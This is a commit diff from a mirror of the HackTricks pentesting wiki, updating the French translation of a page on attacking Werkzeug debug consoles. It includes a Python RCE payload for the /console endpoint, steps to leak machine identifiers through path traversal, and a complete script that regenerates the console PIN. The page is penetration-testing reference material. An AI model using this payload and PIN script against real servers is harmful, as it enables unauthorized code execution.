mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
Translated ['network-services-pentesting/pentesting-web/werkzeug.md'] to
This commit is contained in:
parent
e4239facc3
commit
416fe24e8f
1 changed files with 77 additions and 77 deletions
|
@ -5,35 +5,35 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de premier plan où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous dès maintenant en suivant le lien ci-dessous et ne manquez pas cette grande conférence !:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org" %}
|
||||
|
||||
## Console RCE
|
||||
|
||||
Si le débogage est actif, vous pouvez essayer d'accéder à `/console` et obtenir une RCE.
|
||||
Si le mode de débogage est actif, vous pouvez essayer d'accéder à `/console` et obtenir une RCE.
|
||||
```python
|
||||
__import__('os').popen('whoami').read();
|
||||
```
|
||||
![](<../../.gitbook/assets/image (317).png>)
|
||||
|
||||
Il existe également plusieurs exploits sur internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans metasploit.
|
||||
Il existe également plusieurs exploits sur Internet comme [celui-ci](https://github.com/its-arun/Werkzeug-Debug-RCE) ou un dans Metasploit.
|
||||
|
||||
## Pin protégé - Traversée de chemin
|
||||
## Pin Protégé - Traversée de Chemin
|
||||
|
||||
Dans certains cas, le point de terminaison **`/console`** sera protégé par un code PIN. Si vous avez une **vulnérabilité de traversée de fichier**, vous pouvez divulguer toutes les informations nécessaires pour générer ce code PIN.
|
||||
|
||||
### Exploitation de code PIN de la console Werkzeug
|
||||
### Exploitation de la Console Werkzeug PIN
|
||||
|
||||
**Copié depuis le premier lien.**\
|
||||
Voir le message "console verrouillée" de Werkzeug en forçant la page d'erreur de débogage dans l'application.
|
||||
|
@ -42,27 +42,27 @@ The console is locked and needs to be unlocked by entering the PIN.
|
|||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Localisez la console de débogage Werkzeug vulnérable à l'adresse `vulnerable-site.com/console`, mais elle est verrouillée par un code PIN secret.
|
||||
Localisez la console de débogage vulnérable de Werkzeug à l'adresse `vulnerable-site.com/console`, mais elle est verrouillée par un code PIN secret.
|
||||
|
||||
Vous pouvez inverser l'algorithme qui génère le code PIN de la console. Examinez le fichier `__init__.py` de débogage de Werkzeug sur le serveur, par exemple `python3.5/site-packages/werkzeug/debug/__init__.py`. Vous pouvez consulter [**le dépôt de code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **pour vérifier comment le code PIN est généré**, mais il est préférable de divulguer le code source grâce à une **vulnérabilité de traversée de fichier** car les versions diffèrent probablement.
|
||||
Vous pouvez inverser l'algorithme qui génère le code PIN de la console. Examinez le fichier `__init__.py` de débogage de Werkzeug sur le serveur, par exemple `python3.5/site-packages/werkzeug/debug/__init__.py`. Vous pouvez consulter [**le dépôt du code source de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) **pour vérifier comment le code PIN est généré**, mais il est préférable de divulguer le code source grâce à une **vulnérabilité de traversée de fichiers** car les versions sont susceptibles de différer.
|
||||
|
||||
Variables nécessaires pour exploiter le code PIN de la console :
|
||||
```python
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
```
|
||||
#### **`probably_public_bits`**
|
||||
|
||||
* **`username`** est l'utilisateur qui a démarré ce Flask
|
||||
* **`username`** est l'utilisateur qui a lancé cette application Flask
|
||||
* **`modname`** est flask.app
|
||||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` est **Flask**
|
||||
* `getattr(mod, '__file__', None)` est le **chemin absolu de `app.py`** dans le répertoire flask (par exemple `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` ne fonctionne pas, **essayez `app.pyc`**
|
||||
|
@ -71,56 +71,56 @@ private_bits = [
|
|||
|
||||
* `uuid.getnode()` est l'**adresse MAC de l'ordinateur actuel**, `str(uuid.getnode())` est l'expression décimale de l'adresse MAC.
|
||||
|
||||
* Pour **trouver l'adresse MAC du serveur**, il faut savoir quelle **interface réseau est utilisée** pour servir l'application (par exemple `ens3`). Si elle est inconnue, **fuite de `/proc/net/arp`** pour l'ID de l'appareil, puis **fuite** de l'adresse MAC à **`/sys/class/net/<device id>/address`**.
|
||||
* Pour **trouver l'adresse MAC du serveur**, il faut savoir quelle **interface réseau est utilisée** pour servir l'application (par exemple `ens3`). Si elle est inconnue, **fuite `/proc/net/arp`** pour obtenir l'ID du périphérique, puis **fuite** l'adresse MAC à **`/sys/class/net/<device id>/address`**.
|
||||
|
||||
Convertir **de l'adresse hexadécimale à la représentation décimale** en exécutant en python par exemple :
|
||||
Convertir **de l'adresse hexadécimale à la représentation décimale** en exécutant en python par exemple :
|
||||
|
||||
```python
|
||||
# It was 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
```python
|
||||
# C'était 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* `get_machine_id()` concatène les **valeurs dans `/etc/machine-id`**, **`/proc/sys/kernel/random/boot_id`** et **la première ligne de `/proc/self/cgroup`** après le dernier slash (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code de get_machine_id()</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
||||
if _machine_id is not None:
|
||||
return _machine_id
|
||||
if _machine_id is not None:
|
||||
return _machine_id
|
||||
|
||||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||||
linux = b""
|
||||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||||
linux = b""
|
||||
|
||||
# machine-id is stable across boots, boot_id is not.
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
value = f.readline().strip()
|
||||
except OSError:
|
||||
continue
|
||||
# machine-id is stable across boots, boot_id is not.
|
||||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||||
try:
|
||||
with open(filename, "rb") as f:
|
||||
value = f.readline().strip()
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if value:
|
||||
linux += value
|
||||
break
|
||||
if value:
|
||||
linux += value
|
||||
break
|
||||
|
||||
# Containers share the same machine id, add some cgroup
|
||||
# information. This is used outside containers too but should be
|
||||
# relatively stable across boots.
|
||||
try:
|
||||
with open("/proc/self/cgroup", "rb") as f:
|
||||
linux += f.readline().strip().rpartition(b"/")[2]
|
||||
except OSError:
|
||||
pass
|
||||
# Containers share the same machine id, add some cgroup
|
||||
# information. This is used outside containers too but should be
|
||||
# relatively stable across boots.
|
||||
try:
|
||||
with open("/proc/self/cgroup", "rb") as f:
|
||||
linux += f.readline().strip().rpartition(b"/")[2]
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if linux:
|
||||
return linux
|
||||
if linux:
|
||||
return linux
|
||||
|
||||
# On OS X, use ioreg to get the computer's serial number.
|
||||
try:
|
||||
# On OS X, use ioreg to get the computer's serial number.
|
||||
try:
|
||||
```
|
||||
</details>
|
||||
|
||||
|
@ -129,25 +129,25 @@ Une fois que toutes les variables sont préparées, exécutez le script d'exploi
|
|||
import hashlib
|
||||
from itertools import chain
|
||||
probably_public_bits = [
|
||||
'web3_user',# username
|
||||
'flask.app',# modname
|
||||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
'web3_user',# username
|
||||
'flask.app',# modname
|
||||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
private_bits = [
|
||||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||||
]
|
||||
|
||||
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||||
h = hashlib.sha1()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, str):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, str):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
#h.update(b'shittysalt')
|
||||
|
||||
|
@ -155,23 +155,23 @@ cookie_name = '__wzd' + h.hexdigest()[:20]
|
|||
|
||||
num = None
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
rv =None
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
|
||||
print(rv)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de md5.
|
||||
Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'algorithme de hachage en md5 au lieu de sha1.
|
||||
{% endhint %}
|
||||
|
||||
## Références
|
||||
|
@ -181,8 +181,8 @@ Si vous utilisez une **ancienne version** de Werkzeug, essayez de changer l'algo
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) qui a plus d'une décennie et qui se tiendra les **7 et 8 septembre 2023** à Bogotá, en Colombie. C'est un événement de contenu technique élevé où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
|
||||
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) avec plus d'une décennie d'existence qui se tiendra les **7 et 8 septembre 2023** à Bogotá, en Colombie. C'est un événement de grande envergure technique où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous dès maintenant en suivant le lien ci-dessous et ne manquez pas cette grande conférence !:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org" %}
|
||||
|
||||
|
@ -190,10 +190,10 @@ Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grand
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue